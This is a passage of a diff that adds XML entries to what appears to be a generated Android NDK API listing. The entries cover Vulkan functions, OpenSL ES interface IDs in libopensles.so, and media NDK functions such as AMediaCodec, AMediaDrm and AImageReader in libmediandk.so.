+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdClearAttachments" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdEndRenderPass" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetPhysicalDeviceSurfaceCapabilitiesKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkAllocateDescriptorSets" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkFreeDescriptorSets" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyFence" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyRenderPass" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetEventStatus" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdBindPipeline" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetPhysicalDeviceFeatures" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCreatePipelineCache" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetQueryPoolResults" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkMapMemory" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkSetEvent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyImage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateDescriptorPool" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetFenceStatus" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateFramebuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdCopyBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdSetViewport" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyDevice" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkBindBufferMemory" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateQueryPool" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetImageMemoryRequirements" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroySurfaceKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetPhysicalDeviceSparseImageFormatProperties" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="LIBVULKAN" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkQueueWaitIdle" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateAndroidSurfaceKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkAcquireNextImageKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdCopyQueryPoolResults" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyPipelineLayout" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateRenderPass" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdSetStencilWriteMask" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdResetQueryPool" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateCommandPool" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateDescriptorSetLayout" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdClearColorImage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdSetScissor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateEvent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetImageSparseMemoryRequirements" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdSetStencilReference" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdCopyImage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdNextSubpass" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkWaitForFences" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkBindImageMemory" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdPipelineBarrier" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateImageView" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkEnumerateInstanceExtensionProperties" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkResetDescriptorPool" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdWaitEvents" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdUpdateBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetPhysicalDeviceImageFormatProperties" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkResetCommandPool" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdDrawIndexedIndirect" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyBufferView" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdPushConstants" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateSampler" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyPipelineCache" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdBindVertexBuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdDrawIndirect" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyQueryPool" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdDispatchIndirect" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdSetLineWidth" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateFence" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdDrawIndexed" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkUnmapMemory" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateSwapchainKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateShaderModule" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateImage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdSetDepthBounds" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateSemaphore" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkDeviceWaitIdle" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdResetEvent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetDeviceMemoryCommitment" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetPhysicalDeviceProperties" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkFreeMemory" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ </class>
+ <class abstract="false" deprecated="not deprecated" final="true" name="libopensles.so" static="false" visibility="public">
+ <field deprecated="not deprecated" final="true" name="SL_IID_ANDROIDEFFECTSEND" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="LIBOPENSLES" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_AUDIODECODERCAPABILITIES" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_METADATAEXTRACTION" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_VISUALIZATION" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_3DCOMMIT" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_3DMACROSCOPIC" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_BUFFERQUEUE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_EQUALIZER" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_NULL" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_ANDROIDCONFIGURATION" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_AUDIOENCODER" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_DYNAMICINTERFACEMANAGEMENT" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_OBJECT" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_ENGINECAPABILITIES" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="slQueryNumSupportedEngineInterfaces" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_ENVIRONMENTALREVERB" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_MIDIMESSAGE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_3DLOCATION" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_ENGINE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_RECORD" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_SEEK" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_PLAY" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_VOLUME" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_EFFECTSEND" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_DYNAMICSOURCE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_MIDIMUTESOLO" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_PREFETCHSTATUS" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_DEVICEVOLUME" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_MUTESOLO" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_ANDROIDBUFFERQUEUESOURCE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_RATEPITCH" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_VIRTUALIZER" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_ANDROIDEFFECT" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_MIDITIME" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_OUTPUTMIX" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="slCreateEngine" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_ANDROIDSIMPLEBUFFERQUEUE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_AUDIOENCODERCAPABILITIES" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_LED" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_THREADSYNC" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="slQuerySupportedEngineInterfaces" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_PLAYBACKRATE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_METADATATRAVERSAL" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_MIDITEMPO" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_VIBRA" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_3DDOPPLER" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_3DGROUPING" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_AUDIOIODEVICECAPABILITIES" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_3DSOURCE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_BASSBOOST" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_PITCH" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_ANDROIDEFFECTCAPABILITIES" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_PRESETREVERB" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ </class>
+ <class abstract="false" deprecated="not deprecated" final="true" name="libmediandk.so" static="false" visibility="public">
+ <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_IS_FORCED_SUBTITLE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaExtractor_new" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_restoreKeys" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_dequeueOutputBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_MIME" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_getSecureStops" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaExtractor_getSampleFlags" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaMuxer_delete" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImage_getHeight" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_FRAME_RATE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaFormat_getFloat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_verify" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaExtractor_getTrackFormat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_configure" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_STRIDE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImageReader_getFormat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_FLAC_COMPRESSION_LEVEL" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodecCryptoInfo_delete" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaFormat_setFloat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaMuxer_new" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImageReader_newWithUsage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_HEIGHT" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_setOutputSurface" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_PUSH_BLANK_BUFFERS_ON_STOP" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_getInputBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImage_deleteAsync" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_getPropertyByteArray" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImageReader_getMaxImages" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_IS_AUTOSELECT" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_createCodecByName" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaExtractor_readSampleData" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_getOutputFormat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaMuxer_stop" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImageReader_new" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImage_getHardwareBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_getOutputBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImage_getWidth" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_releaseSecureStops" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_createDecoderByType" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_MAX_INPUT_SIZE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCrypto_delete" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_BIT_RATE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_signalEndOfInputStream" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_createByUUID" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaExtractor_delete" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImageReader_setImageListener" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaMuxer_writeSampleData" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImageReader_acquireLatestImageAsync" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCrypto_new" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImageReader_getWindow" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_delete" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_releaseOutputBufferAtTime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="LIBMEDIANDK" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_CHANNEL_COUNT" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_REPEAT_PREVIOUS_FRAME_AFTER" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_sign" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImageReader_acquireNextImage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodecCryptoInfo_getKey" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaFormat_delete" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaExtractor_unselectTrack" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImage_getNumberOfPlanes" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_openSession" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_COLOR_FORMAT" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_MAX_HEIGHT" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImage_delete" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_decrypt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_setPropertyString" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_IS_ADTS" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodecCryptoInfo_getIV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodecCryptoInfo_getMode" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImageReader_getWidth" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_releaseOutputBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_queueInputBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaExtractor_setDataSource" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaFormat_getInt64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaMuxer_addTrack" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImage_getTimestamp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_MAX_WIDTH" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCrypto_isCryptoSchemeSupported" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaExtractor_setDataSourceFd" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_CHANNEL_MASK" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_queryKeyStatus" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImageReader_delete" native="true" return="na" static="false" synchronized="true" visibility="public"/>
